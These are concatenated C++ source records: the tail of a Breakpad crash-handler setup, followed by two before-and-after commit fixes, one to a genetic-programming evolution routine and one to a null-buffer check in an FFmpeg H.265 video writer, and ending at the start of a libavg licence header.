NULL, NULL, FALSE, 0, NULL, NULL,
&startInfo, &procInfo))
{
crashDumpLogs.Warn("Failed to start crash logging server: %s", Win32StrError(GetLastError()));
return false;
}
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
std::wstring wPipeName = Str::UTF8To16(pipeName);
crashHandler.reset(new google_breakpad::ExceptionHandler(
Str::UTF8To16(crashDir),
nullptr,
nullptr,
nullptr,
google_breakpad::ExceptionHandler::HANDLER_ALL,
MiniDumpNormal,
wPipeName.c_str(),
nullptr));
return true;
}
#elif defined(__linux__)
std::unique_ptr<google_breakpad::ExceptionHandler> crashHandler;
static bool CreateReportChannel(int& fdServer, int& fdClient) {
if (!google_breakpad::CrashGenerationServer::CreateReportChannel(&fdServer, &fdClient)) {
return false;
}
// Breakpad's function makes the client fd inheritable and the server not,
// but we want the opposite.
int oldflags;
return -1 != (oldflags = fcntl(fdServer, F_GETFD))
&& -1 != fcntl(fdServer, F_SETFD, oldflags & ~FD_CLOEXEC)
&& -1 != (oldflags = fcntl(fdClient, F_GETFD))
&& -1 != fcntl(fdClient, F_SETFD, oldflags | FD_CLOEXEC);
}
static bool BreakpadInitInternal() {
int fdServer, fdClient;
if (!CreateReportChannel(fdServer, fdClient)) {
crashDumpLogs.Warn("Failed to start crash logging server");
return false;
}
// allocate exec arguments before forking to avoid malloc use
std::string fdServerStr = std::to_string(fdServer);
std::string crashDir = CrashDumpPath();
std::string exePath = CrashServerPath();
crashDumpLogs.Debug("Starting crash server with the following command line: %s %s %s <child pid>",
exePath.c_str(),
fdServerStr.c_str(),
crashDir.c_str());
pid_t pid = fork();
if (pid == -1) {
crashDumpLogs.Warn("Failed to start crash logging server: %s", strerror(errno));
return false;
} else if (pid != 0) { // Breakpad server MUST be in parent of engine process
char pidStr[16];
snprintf(pidStr, sizeof(pidStr), "%d", pid);
const char* args[] = { exePath.c_str(), fdServerStr.c_str(), crashDir.c_str(), pidStr, nullptr };
execv(exePath.c_str(), const_cast<char * const *>(args));
// Kill daemon if crash_server couldn't be started
kill(pid, SIGKILL);
fprintf(stderr, "Failed to exec crash_server\n");
_exit(1);
}
crashHandler.reset(new google_breakpad::ExceptionHandler(
google_breakpad::MinidumpDescriptor{}, nullptr, nullptr,
nullptr, true, fdClient));
return true;
}
#endif // linux
void BreakpadInit() {
if (!enableBreakpad.Get()) {
return;
}
if (BreakpadInitInternal()) {
crashDumpLogs.Notice("Starting crash logging server");
}
}
#else // USE_BREAKPAD
void BreakpadInit() {
}
#endif // USE_BREAKPAD
} // namespace Sys
<|endoftext|>
|
<commit_before>/******************************************************************
Copyright 2014, Jiang Xiao-tang
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
******************************************************************/
#include <fstream>
#include <sstream>
#include <iostream>
#include "utils/debug.h"
#include "utils/GPRandom.h"
#include "evolution/GPEvolutionGroup.h"
#include "optimizor/GPOptimizorFactory.h"
using namespace std;
void GPEvolutionGroup::func_para::init(IGPAutoDefFunction* basic)
{
GPASSERT(NULL!=basic);
bool changed;
auto sn = basic->vMapStructure(NULL, changed);
pStructure = new GPParameter(sn);
pStructure->clear(0.0f);
auto pn = basic->vMap(NULL);
pParamter = new GPParameter(pn);
for (int i=0; i<pParamter->size(); ++i)
{
pParamter->attach()[i] = GPRandom::rate();
}
basic->vMap(pParamter.get());
}
void GPEvolutionGroup::func_para::mutate()
{
const double varyRate = 0.1f;
auto n = pStructure->size();
auto f = pStructure->attach();
for (int i=0; i<n; ++i)
{
f[i] += varyRate * (GPRandom::rate()-0.5);
}
n = pParamter->size();
f = pParamter->attach();
for (int i=0; i<n; ++i)
{
f[i] += varyRate * (GPRandom::rate()-0.5);
}
pStructure->makeValid();
pParamter->makeValid();
}
void GPEvolutionGroup::func_para::invalidate(IGPAutoDefFunction* basic)
{
GPASSERT(NULL!=basic);
bool changed = false;
basic->vMapStructure(pStructure.get(), changed);
if (changed)
{
init(basic);
return;
}
basic->vMap(pParamter.get());
}
GPEvolutionGroup::GPEvolutionGroup(GPProducer* sys, int time, int size):mSys(sys)
{
GPASSERT(NULL!=sys);
mBest = NULL;
mTime = time;
mSize = size;
GPRandom::init();
}
GPEvolutionGroup::~GPEvolutionGroup()
{
}
void GPEvolutionGroup::_best(std::function<double(IGPAutoDefFunction*)>& f)
{
GPASSERT(mGroup.size()>1);
double _max = f((*(mGroup.begin())).get());
auto iter = mGroup.begin();
auto bestIter = iter;
for (iter++; iter!=mGroup.end(); iter++)
{
double _f = f((*iter).get());
if (_f > _max)
{
bestIter = iter;
_max = _f;
}
}
bool changed = true;
if (mBest.get()!=NULL)
{
if (mBestFit <= _max)
{
mBest = (*bestIter)->vCopy();
mBestFit = _max;
}
else
{
changed = false;
}
}
else
{
mBest = (*bestIter)->vCopy();
mBestFit = _max;
}
if (changed)
{
mPara = new func_para;
mPara->init(mBest.get());
}
}
void GPEvolutionGroup::_expand()
{
mGroup.clear();
for (int i=0; i<mSize; ++i)
{
mGroup.push_back(mBest->vCopy());
}
}
void GPEvolutionGroup::_mutate()
{
GPASSERT(NULL!=mPara.get());
for (auto f:mGroup)
{
mPara->mutate();
mPara->invalidate(f.get());
}
}
void GPEvolutionGroup::loadBest(const GPTreeNode* node)
{
GPASSERT(NULL!=mSys);
mBest = mSys->vCreateFunctionFromNode(node);
}
void GPEvolutionGroup::vEvolutionFunc(std::function<double(IGPAutoDefFunction*)> fit_func)
{
if (NULL!=mBest.get())
{
mBestFit = fit_func(mBest.get());
}
/*Create the initial group*/
mGroup.clear();
vector<IGPAutoDefFunction*> group = mSys->vCreateAllFunction(mOutput, mInput);
GPASSERT(!group.empty());
for (int i=0; i<group.size(); ++i)
{
mGroup.push_back(group[i]);
}
_best(fit_func);
_expand();
/*Evolution*/
for (int i=0; i<mTime; ++i)
{
_mutate();
_best(fit_func);
_expand();
}
}
<commit_msg>Solve Evolution bug<commit_after>/******************************************************************
Copyright 2014, Jiang Xiao-tang
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
******************************************************************/
#include <fstream>
#include <sstream>
#include <iostream>
#include "utils/debug.h"
#include "utils/GPRandom.h"
#include "evolution/GPEvolutionGroup.h"
#include "optimizor/GPOptimizorFactory.h"
using namespace std;
void GPEvolutionGroup::func_para::init(IGPAutoDefFunction* basic)
{
GPASSERT(NULL!=basic);
bool changed;
auto sn = basic->vMapStructure(NULL, changed);
pStructure = new GPParameter(sn);
pStructure->clear(0.0f);
auto pn = basic->vMap(NULL);
pParamter = new GPParameter(pn);
for (int i=0; i<pParamter->size(); ++i)
{
pParamter->attach()[i] = GPRandom::rate();
}
}
void GPEvolutionGroup::func_para::mutate()
{
const double varyRate = 0.1f;
auto n = pStructure->size();
auto f = pStructure->attach();
for (int i=0; i<n; ++i)
{
f[i] += varyRate * (GPRandom::rate()-0.5);
}
n = pParamter->size();
f = pParamter->attach();
for (int i=0; i<n; ++i)
{
f[i] += varyRate * (GPRandom::rate()-0.5);
}
pStructure->makeValid();
pParamter->makeValid();
}
void GPEvolutionGroup::func_para::invalidate(IGPAutoDefFunction* basic)
{
GPASSERT(NULL!=basic);
bool changed = false;
basic->vMapStructure(pStructure.get(), changed);
if (!changed)
{
basic->vMap(pParamter.get());
}
}
GPEvolutionGroup::GPEvolutionGroup(GPProducer* sys, int time, int size):mSys(sys)
{
GPASSERT(NULL!=sys);
mBest = NULL;
mTime = time;
mSize = size;
GPRandom::init();
}
GPEvolutionGroup::~GPEvolutionGroup()
{
}
void GPEvolutionGroup::_best(std::function<double(IGPAutoDefFunction*)>& f)
{
GPASSERT(mGroup.size()>1);
double _max = f((*(mGroup.begin())).get());
auto iter = mGroup.begin();
auto best = mGroup[0];
for (iter++; iter!=mGroup.end(); iter++)
{
double _f = f((*iter).get());
if (_f > _max)
{
best = *iter;
_max = _f;
}
}
bool changed = true;
if (mBest.get()!=NULL)
{
if (mBestFit <= _max)
{
mBest = best->vCopy();
mBestFit = _max;
}
else
{
changed = false;
}
}
else
{
mBest = best->vCopy();
mBestFit = _max;
}
if (changed)
{
mPara = new func_para;
mPara->init(mBest.get());
}
}
void GPEvolutionGroup::_expand()
{
mGroup.clear();
for (int i=0; i<mSize; ++i)
{
mGroup.push_back(mBest->vCopy());
}
}
void GPEvolutionGroup::_mutate()
{
GPASSERT(NULL!=mPara.get());
for (auto f:mGroup)
{
mPara->mutate();
mPara->invalidate(f.get());
}
}
void GPEvolutionGroup::loadBest(const GPTreeNode* node)
{
GPASSERT(NULL!=mSys);
mBest = mSys->vCreateFunctionFromNode(node);
}
void GPEvolutionGroup::vEvolutionFunc(std::function<double(IGPAutoDefFunction*)> fit_func)
{
if (NULL!=mBest.get())
{
mBestFit = fit_func(mBest.get());
}
/*Create the initial group*/
mGroup.clear();
vector<IGPAutoDefFunction*> group = mSys->vCreateAllFunction(mOutput, mInput);
GPASSERT(!group.empty());
for (int i=0; i<group.size(); ++i)
{
mGroup.push_back(group[i]);
}
_best(fit_func);
_expand();
/*Evolution*/
for (int i=0; i<mTime; ++i)
{
_mutate();
_best(fit_func);
_expand();
}
}
<|endoftext|>
|
<commit_before>#include "ffmpeg_video_target.h"
#include "except.h"
#ifdef GENERATE_PERFORMANCE_OUTPUT
#include <boost/timer/timer.hpp>
#endif
namespace gg
{
VideoTargetFFmpeg::VideoTargetFFmpeg(const std::string codec) :
_codec(NULL),
_codec_name(""),
_frame(NULL),
_first_frame(true),
_framerate(-1),
_sws_context(NULL),
_format_context(NULL),
_stream(NULL),
_frame_index(0)
{
if (codec != "H265")
{
std::string msg;
msg.append("Codec ")
.append(codec)
.append(" not recognised");
throw VideoTargetError(msg);
}
#ifdef FFMPEG_HWACCEL
_codec_name = "nvenc_hevc";
#else
_codec_name = "libx265";
#endif
av_register_all();
}
void VideoTargetFFmpeg::init(const std::string filepath, const float framerate)
{
if (framerate <= 0)
throw VideoTargetError("Negative fps does not make sense");
if (framerate - (int) framerate > 0)
throw VideoTargetError("Only integer framerates are supported");
_framerate = (int) framerate;
check_filetype_support(filepath, "mp4");
_filepath = filepath;
/* allocate the output media context */
avformat_alloc_output_context2(&_format_context, NULL, NULL, _filepath.c_str());
if (_format_context == NULL)
// Use MP4 as default if context cannot be deduced from file extension
avformat_alloc_output_context2(&_format_context, NULL, "mp4", NULL);
if (_format_context == NULL)
throw VideoTargetError("Could not allocate output media context");
_codec = avcodec_find_encoder_by_name(_codec_name.c_str());
if (not _codec)
throw VideoTargetError("Codec not found");
_stream = avformat_new_stream(_format_context, _codec);
if (_stream == NULL)
throw VideoTargetError("Could not allocate stream");
_stream->id = _format_context->nb_streams-1; // TODO isn't this wrong?
// allocate FFmpeg frame
_frame = av_frame_alloc();
if (not _frame)
throw VideoTargetError("Could not allocate video frame");
_first_frame = true;
}
void VideoTargetFFmpeg::append(const VideoFrame_BGRA & frame)
{
ffmpeg_frame(frame.data(),
frame.data_length(),
frame.cols(), frame.rows(),
AV_PIX_FMT_BGRA, _frame);
{ // START auto_cpu_timer scope
#ifdef GENERATE_PERFORMANCE_OUTPUT
boost::timer::auto_cpu_timer t(this_class_str + "1-encode_and_write" + timer_format_str);
#endif
/* encode the image */
int got_output;
encode_and_write(_frame, got_output);
} // END auto_cpu_timer scope
}
void VideoTargetFFmpeg::append(const VideoFrame_I420 & frame)
{
ffmpeg_frame(frame.data(), frame.data_length(),
frame.cols(), frame.rows(),
AV_PIX_FMT_YUV420P, _frame);
int got_output;
encode_and_write(_frame, got_output);
}
void VideoTargetFFmpeg::ffmpeg_frame(const unsigned char * data,
const size_t data_length,
const int width, const int height,
const AVPixelFormat colour_space,
AVFrame * frame)
{
if (_framerate <= 0)
throw VideoTargetError("Video target not initialised");
if (not frame)
throw VideoTargetError("FFmpeg frame not initialised");
if (not frame->data[0])
throw VideoTargetError("FFmpeg data buffer not initialised");
// return value buffers
int ret;
// if first frame, initialise
if (_first_frame)
{
#ifdef GENERATE_PERFORMANCE_OUTPUT
#ifndef timer_format_str
#define timer_format_str \
std::string(", %w, %u, %s, %t, %p" \
", wall (s), user (s), system (s), user+system (s), CPU (\%)\n")
#endif
#ifndef this_class_str
#define this_class_str std::string("VideoTargetFFmpeg-")
#endif
boost::timer::auto_cpu_timer t(this_class_str + "first-frame" + timer_format_str);
#endif
// TODO - is _codec_context ever being modified after first frame?
/* TODO: using default reduces filesize
* but should we set it nonetheless?
*/
// _stream->codec->bit_rate = 400000;
_stream->codec->width = width;
_stream->codec->height = height;
_stream->time_base = (AVRational){ 1, _framerate };
_stream->codec->time_base = _stream->time_base;
_stream->codec->gop_size = 12;
/* TODO emit one intra frame every twelve frames at most */
_stream->codec->pix_fmt = AV_PIX_FMT_YUV420P;
/* Some formats want stream headers to be separate. */
if (_format_context->oformat->flags & AVFMT_GLOBALHEADER)
_stream->codec->flags |= AV_CODEC_FLAG_GLOBAL_HEADER;
switch (_stream->codec->codec_id)
{
case AV_CODEC_ID_H264:
case AV_CODEC_ID_HEVC:
#ifdef FFMPEG_HWACCEL
// nop
ret = 0;
#else
/* TODO will this work in real-time with a framegrabber ?
* "slow" produces 2x larger file compared to "ultrafast",
* but with a substantial visual quality degradation
* (judged using the coloured chessboard pattern)
* "fast" is a trade-off: visual quality looks similar
* while file size is reasonable
*/
ret = av_opt_set(_stream->codec->priv_data, "preset", "fast", 0);
#endif
if (ret != 0)
throw VideoTargetError("Could not set codec-specific options");
/* Resolution must be a multiple of two, as required
* by H264 and H265. Introduce a one-pixel padding for
* non-complying dimension(s).
*/
_stream->codec->width +=
_stream->codec->width % 2 == 0 ? 0 : 1;
_stream->codec->height +=
_stream->codec->height % 2 == 0 ? 0 : 1;
break;
default:
// nop
break;
}
/* open it */
if (avcodec_open2(_stream->codec, _codec, NULL) < 0)
throw VideoTargetError("Could not open codec");
frame->format = _stream->codec->pix_fmt;
frame->width = _stream->codec->width;
frame->height = _stream->codec->height;
/* allocate the buffers for the frame data */
// TODO #25 what influence does 32 have on performance?
ret = av_frame_get_buffer(frame, 32);
if (ret < 0)
throw VideoTargetError("Could not allocate frame data");
/* Now that all the parameters are set, we can open the audio and
* video codecs and allocate the necessary encode buffers. */
av_dump_format(_format_context, 0, _filepath.c_str(), 1);
/* open the output file, if needed */
if (!(_format_context->oformat->flags & AVFMT_NOFILE))
{
ret = avio_open(&_format_context->pb, _filepath.c_str(), AVIO_FLAG_WRITE);
if (ret < 0)
{
std::string msg;
msg.append("File ")
.append(_filepath)
.append(" could not be opened");
throw VideoTargetError(msg);
}
}
/* Write the stream header, if any. */
ret = avformat_write_header(_format_context, NULL);
if (ret < 0)
throw VideoTargetError("Could not write header to file");
/* TODO USE_COLOUR_SPACE_I420 also implicitly provides
* this check, but selective code compilation might make
* code faster, due to not having the conditional checks
*/
switch(colour_space)
{
case AV_PIX_FMT_BGRA:
/* Open context for converting BGRA pixels to YUV420p */
_sws_context = sws_getContext(
width, height, AV_PIX_FMT_BGRA,
width, height, _stream->codec->pix_fmt,
0, NULL, NULL, NULL);
if (_sws_context == NULL)
throw VideoTargetError("Could not allocate Sws context");
break;
case AV_PIX_FMT_YUV420P:
frame->data[0] = static_cast<uint8_t *>(malloc(data_length * sizeof(unsigned char)));
break;
default:
throw VideoTargetError("Colour space not supported");
}
// To be incremented for each frame, used as pts
_frame_index = 0;
// Packet to be used when writing frames
av_init_packet(&_packet);
// TODO #25 data gets allocated each time?
_packet.data = NULL; // packet data will be allocated by the encoder
_packet.size = 0;
_bgra_stride[0] = 4*width;
_first_frame = false;
}
{ // START auto_cpu_timer scope
#ifdef GENERATE_PERFORMANCE_OUTPUT
boost::timer::auto_cpu_timer t(this_class_str + "1-av_frame_make_writable" + timer_format_str);
#endif
/* when we pass a frame to the encoder, it may keep a reference to it
* internally;
* make sure we do not overwrite it here
*/
// TODO #25 why not only once?
ret = av_frame_make_writable(frame);
if (ret < 0)
throw VideoTargetError("Could not make frame writeable");
} // END auto_cpu_timer scope
{ // START auto_cpu_timer scope
#ifdef GENERATE_PERFORMANCE_OUTPUT
boost::timer::auto_cpu_timer t(this_class_str + "1-sws_scale" + timer_format_str);
#endif
_src_data_ptr[0] = data;
/* TODO USE_COLOUR_SPACE_I420 also implicitly provides
* this check, but selective code compilation might make
* code faster, due to not having the conditional checks
*/
switch(colour_space)
{
case AV_PIX_FMT_BGRA:
/* convert pixel format */
sws_scale(_sws_context,
_src_data_ptr, _bgra_stride, // BGRA has one plane
0, height,
frame->data, frame->linesize
);
break;
case AV_PIX_FMT_YUV420P:
memcpy(frame->data[0], data, data_length * sizeof(unsigned char));
break;
default:
throw VideoTargetError("Colour space not supported");
}
frame->pts = _frame_index++;
} // END auto_cpu_timer scope
}
void VideoTargetFFmpeg::encode_and_write(AVFrame * frame, int & got_output)
{
int ret;
{ // START auto_cpu_timer scope
#ifdef GENERATE_PERFORMANCE_OUTPUT
boost::timer::auto_cpu_timer t(this_class_str + "2-avcodec_encode_video2" + timer_format_str);
#endif
ret = avcodec_encode_video2(_stream->codec, &_packet, frame, &got_output);
} // END auto_cpu_timer scope
if (ret < 0)
throw VideoTargetError("Error encoding frame");
if (got_output)
{
{ // START auto_cpu_timer scope
#ifdef GENERATE_PERFORMANCE_OUTPUT
boost::timer::auto_cpu_timer t(this_class_str + "2-av_packet_rescale_ts" + timer_format_str);
#endif
/* rescale output packet timestamp values from codec to stream timebase */
av_packet_rescale_ts(&_packet, _stream->codec->time_base, _stream->time_base);
// TODO - above time bases are the same, or not?
_packet.stream_index = _stream->index;
} // END auto_cpu_timer scope
{ // START auto_cpu_timer scope
#ifdef GENERATE_PERFORMANCE_OUTPUT
boost::timer::auto_cpu_timer t(this_class_str + "2-av_interleaved_write_frame" + timer_format_str);
#endif
/* Write the compressed frame to the media file. */
ret = av_interleaved_write_frame(_format_context, &_packet);
}
if (ret < 0)
throw VideoTargetError("Could not interleaved write frame");
// av_packet_unref(&packet); taken care of by av_interleaved_write_frame
}
}
void VideoTargetFFmpeg::finalise()
{
/* This condition means that append
* has been called at least once
* successfully (see Issue#36)
*/
if (_frame)
{
/* get the delayed frames */
for (int got_output = 1; got_output; )
encode_and_write(NULL, got_output);
/* Write the trailer, if any. The trailer must be written before you
* close the CodecContexts open when you wrote the header; otherwise
* av_write_trailer() may try to use memory that was freed on
* av_codec_close(). */
av_write_trailer(_format_context);
}
if (_stream->codec) avcodec_close(_stream->codec);
if (_frame) av_frame_free(&_frame);
// av_freep(&_frame->data[0]); no need for this because _frame never manages its own data
if (_sws_context) sws_freeContext(_sws_context);
if (!(_format_context->oformat->flags & AVFMT_NOFILE))
if (_format_context->pb)
/* Close the output file. */
avio_closep(&_format_context->pb);
/* free the stream */
avformat_free_context(_format_context);
// default values, for next init
_codec = NULL;
_frame = NULL;
_framerate = -1;
_sws_context = NULL;
_format_context = NULL;
_stream = NULL;
_frame_index = 0;
}
}
<commit_msg>Issue #48: fixed bug pertaining to checking data buffer validity even in first frame, i.e. before it's allocated<commit_after>#include "ffmpeg_video_target.h"
#include "except.h"
#ifdef GENERATE_PERFORMANCE_OUTPUT
#include <boost/timer/timer.hpp>
#endif
namespace gg
{
VideoTargetFFmpeg::VideoTargetFFmpeg(const std::string codec) :
_codec(NULL),
_codec_name(""),
_frame(NULL),
_first_frame(true),
_framerate(-1),
_sws_context(NULL),
_format_context(NULL),
_stream(NULL),
_frame_index(0)
{
if (codec != "H265")
{
std::string msg;
msg.append("Codec ")
.append(codec)
.append(" not recognised");
throw VideoTargetError(msg);
}
#ifdef FFMPEG_HWACCEL
_codec_name = "nvenc_hevc";
#else
_codec_name = "libx265";
#endif
av_register_all();
}
void VideoTargetFFmpeg::init(const std::string filepath, const float framerate)
{
if (framerate <= 0)
throw VideoTargetError("Negative fps does not make sense");
if (framerate - (int) framerate > 0)
throw VideoTargetError("Only integer framerates are supported");
_framerate = (int) framerate;
check_filetype_support(filepath, "mp4");
_filepath = filepath;
/* allocate the output media context */
avformat_alloc_output_context2(&_format_context, NULL, NULL, _filepath.c_str());
if (_format_context == NULL)
// Use MP4 as default if context cannot be deduced from file extension
avformat_alloc_output_context2(&_format_context, NULL, "mp4", NULL);
if (_format_context == NULL)
throw VideoTargetError("Could not allocate output media context");
_codec = avcodec_find_encoder_by_name(_codec_name.c_str());
if (not _codec)
throw VideoTargetError("Codec not found");
_stream = avformat_new_stream(_format_context, _codec);
if (_stream == NULL)
throw VideoTargetError("Could not allocate stream");
_stream->id = _format_context->nb_streams-1; // TODO isn't this wrong?
// allocate FFmpeg frame
_frame = av_frame_alloc();
if (not _frame)
throw VideoTargetError("Could not allocate video frame");
_first_frame = true;
}
void VideoTargetFFmpeg::append(const VideoFrame_BGRA & frame)
{
ffmpeg_frame(frame.data(),
frame.data_length(),
frame.cols(), frame.rows(),
AV_PIX_FMT_BGRA, _frame);
{ // START auto_cpu_timer scope
#ifdef GENERATE_PERFORMANCE_OUTPUT
boost::timer::auto_cpu_timer t(this_class_str + "1-encode_and_write" + timer_format_str);
#endif
/* encode the image */
int got_output;
encode_and_write(_frame, got_output);
} // END auto_cpu_timer scope
}
void VideoTargetFFmpeg::append(const VideoFrame_I420 & frame)
{
ffmpeg_frame(frame.data(), frame.data_length(),
frame.cols(), frame.rows(),
AV_PIX_FMT_YUV420P, _frame);
int got_output;
encode_and_write(_frame, got_output);
}
void VideoTargetFFmpeg::ffmpeg_frame(const unsigned char * data,
const size_t data_length,
const int width, const int height,
const AVPixelFormat colour_space,
AVFrame * frame)
{
if (_framerate <= 0)
throw VideoTargetError("Video target not initialised");
if (not frame)
throw VideoTargetError("FFmpeg frame not initialised");
// return value buffers
int ret;
// if first frame, initialise
if (_first_frame)
{
#ifdef GENERATE_PERFORMANCE_OUTPUT
#ifndef timer_format_str
#define timer_format_str \
std::string(", %w, %u, %s, %t, %p" \
", wall (s), user (s), system (s), user+system (s), CPU (\%)\n")
#endif
#ifndef this_class_str
#define this_class_str std::string("VideoTargetFFmpeg-")
#endif
boost::timer::auto_cpu_timer t(this_class_str + "first-frame" + timer_format_str);
#endif
// TODO - is _codec_context ever being modified after first frame?
/* TODO: using default reduces filesize
* but should we set it nonetheless?
*/
// _stream->codec->bit_rate = 400000;
_stream->codec->width = width;
_stream->codec->height = height;
_stream->time_base = (AVRational){ 1, _framerate };
_stream->codec->time_base = _stream->time_base;
_stream->codec->gop_size = 12;
/* TODO emit one intra frame every twelve frames at most */
_stream->codec->pix_fmt = AV_PIX_FMT_YUV420P;
/* Some formats want stream headers to be separate. */
if (_format_context->oformat->flags & AVFMT_GLOBALHEADER)
_stream->codec->flags |= AV_CODEC_FLAG_GLOBAL_HEADER;
switch (_stream->codec->codec_id)
{
case AV_CODEC_ID_H264:
case AV_CODEC_ID_HEVC:
#ifdef FFMPEG_HWACCEL
// nop
ret = 0;
#else
/* TODO will this work in real-time with a framegrabber ?
* "slow" produces 2x larger file compared to "ultrafast",
* but with a substantial visual quality degradation
* (judged using the coloured chessboard pattern)
* "fast" is a trade-off: visual quality looks similar
* while file size is reasonable
*/
ret = av_opt_set(_stream->codec->priv_data, "preset", "fast", 0);
#endif
if (ret != 0)
throw VideoTargetError("Could not set codec-specific options");
/* Resolution must be a multiple of two, as required
* by H264 and H265. Introduce a one-pixel padding for
* non-complying dimension(s).
*/
_stream->codec->width +=
_stream->codec->width % 2 == 0 ? 0 : 1;
_stream->codec->height +=
_stream->codec->height % 2 == 0 ? 0 : 1;
break;
default:
// nop
break;
}
/* open it */
if (avcodec_open2(_stream->codec, _codec, NULL) < 0)
throw VideoTargetError("Could not open codec");
frame->format = _stream->codec->pix_fmt;
frame->width = _stream->codec->width;
frame->height = _stream->codec->height;
/* allocate the buffers for the frame data */
// TODO #25 what influence does 32 have on performance?
ret = av_frame_get_buffer(frame, 32);
if (ret < 0)
throw VideoTargetError("Could not allocate frame data");
/* Now that all the parameters are set, we can open the audio and
* video codecs and allocate the necessary encode buffers. */
av_dump_format(_format_context, 0, _filepath.c_str(), 1);
/* open the output file, if needed */
if (!(_format_context->oformat->flags & AVFMT_NOFILE))
{
ret = avio_open(&_format_context->pb, _filepath.c_str(), AVIO_FLAG_WRITE);
if (ret < 0)
{
std::string msg;
msg.append("File ")
.append(_filepath)
.append(" could not be opened");
throw VideoTargetError(msg);
}
}
/* Write the stream header, if any. */
ret = avformat_write_header(_format_context, NULL);
if (ret < 0)
throw VideoTargetError("Could not write header to file");
/* TODO USE_COLOUR_SPACE_I420 also implicitly provides
* this check, but selective code compilation might make
* code faster, due to not having the conditional checks
*/
switch(colour_space)
{
case AV_PIX_FMT_BGRA:
/* Open context for converting BGRA pixels to YUV420p */
_sws_context = sws_getContext(
width, height, AV_PIX_FMT_BGRA,
width, height, _stream->codec->pix_fmt,
0, NULL, NULL, NULL);
if (_sws_context == NULL)
throw VideoTargetError("Could not allocate Sws context");
break;
case AV_PIX_FMT_YUV420P:
frame->data[0] = static_cast<uint8_t *>(malloc(data_length * sizeof(unsigned char)));
if (not frame->data[0])
throw VideoTargetError("FFmpeg data buffer could not be initialised");
break;
default:
throw VideoTargetError("Colour space not supported");
}
// To be incremented for each frame, used as pts
_frame_index = 0;
// Packet to be used when writing frames
av_init_packet(&_packet);
// TODO #25 data gets allocated each time?
_packet.data = NULL; // packet data will be allocated by the encoder
_packet.size = 0;
_bgra_stride[0] = 4*width;
_first_frame = false;
}
{ // START auto_cpu_timer scope
#ifdef GENERATE_PERFORMANCE_OUTPUT
boost::timer::auto_cpu_timer t(this_class_str + "1-av_frame_make_writable" + timer_format_str);
#endif
/* when we pass a frame to the encoder, it may keep a reference to it
* internally;
* make sure we do not overwrite it here
*/
// TODO #25 why not only once?
ret = av_frame_make_writable(frame);
if (ret < 0)
throw VideoTargetError("Could not make frame writeable");
} // END auto_cpu_timer scope
{ // START auto_cpu_timer scope
#ifdef GENERATE_PERFORMANCE_OUTPUT
boost::timer::auto_cpu_timer t(this_class_str + "1-sws_scale" + timer_format_str);
#endif
_src_data_ptr[0] = data;
/* TODO USE_COLOUR_SPACE_I420 also implicitly provides
* this check, but selective code compilation might make
* code faster, due to not having the conditional checks
*/
switch(colour_space)
{
case AV_PIX_FMT_BGRA:
/* convert pixel format */
sws_scale(_sws_context,
_src_data_ptr, _bgra_stride, // BGRA has one plane
0, height,
frame->data, frame->linesize
);
break;
case AV_PIX_FMT_YUV420P:
if (not frame->data[0])
throw VideoTargetError("FFmpeg data buffer not initialised");
memcpy(frame->data[0], data, data_length * sizeof(unsigned char));
break;
default:
throw VideoTargetError("Colour space not supported");
}
frame->pts = _frame_index++;
} // END auto_cpu_timer scope
}
void VideoTargetFFmpeg::encode_and_write(AVFrame * frame, int & got_output)
{
int ret;
{ // START auto_cpu_timer scope
#ifdef GENERATE_PERFORMANCE_OUTPUT
boost::timer::auto_cpu_timer t(this_class_str + "2-avcodec_encode_video2" + timer_format_str);
#endif
ret = avcodec_encode_video2(_stream->codec, &_packet, frame, &got_output);
} // END auto_cpu_timer scope
if (ret < 0)
throw VideoTargetError("Error encoding frame");
if (got_output)
{
{ // START auto_cpu_timer scope
#ifdef GENERATE_PERFORMANCE_OUTPUT
boost::timer::auto_cpu_timer t(this_class_str + "2-av_packet_rescale_ts" + timer_format_str);
#endif
/* rescale output packet timestamp values from codec to stream timebase */
av_packet_rescale_ts(&_packet, _stream->codec->time_base, _stream->time_base);
// TODO - above time bases are the same, or not?
_packet.stream_index = _stream->index;
} // END auto_cpu_timer scope
{ // START auto_cpu_timer scope
#ifdef GENERATE_PERFORMANCE_OUTPUT
boost::timer::auto_cpu_timer t(this_class_str + "2-av_interleaved_write_frame" + timer_format_str);
#endif
/* Write the compressed frame to the media file. */
ret = av_interleaved_write_frame(_format_context, &_packet);
}
if (ret < 0)
throw VideoTargetError("Could not interleaved write frame");
// av_packet_unref(&packet); taken care of by av_interleaved_write_frame
}
}
void VideoTargetFFmpeg::finalise()
{
/* This condition means that append
* has been called at least once
* successfully (see Issue#36)
*/
if (_frame)
{
/* get the delayed frames */
for (int got_output = 1; got_output; )
encode_and_write(NULL, got_output);
/* Write the trailer, if any. The trailer must be written before you
* close the CodecContexts open when you wrote the header; otherwise
* av_write_trailer() may try to use memory that was freed on
* av_codec_close(). */
av_write_trailer(_format_context);
}
if (_stream->codec) avcodec_close(_stream->codec);
if (_frame) av_frame_free(&_frame);
// av_freep(&_frame->data[0]); no need for this because _frame never manages its own data
if (_sws_context) sws_freeContext(_sws_context);
if (!(_format_context->oformat->flags & AVFMT_NOFILE))
if (_format_context->pb)
/* Close the output file. */
avio_closep(&_format_context->pb);
/* free the stream */
avformat_free_context(_format_context);
// default values, for next init
_codec = NULL;
_frame = NULL;
_framerate = -1;
_sws_context = NULL;
_format_context = NULL;
_stream = NULL;
_frame_index = 0;
}
}
<|endoftext|>
|
<commit_before>//
// libavg - Media Playback Engine.
// Copyright (C) 2003-2008 Ulrich von Zadow
//
// This library is free software; you can redistribute it and/or
// modify it under the terms of the GNU Lesser General Public
// License as published by the Free Software Foundation; either
// version 2 of the License, or (at your option) any later version.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
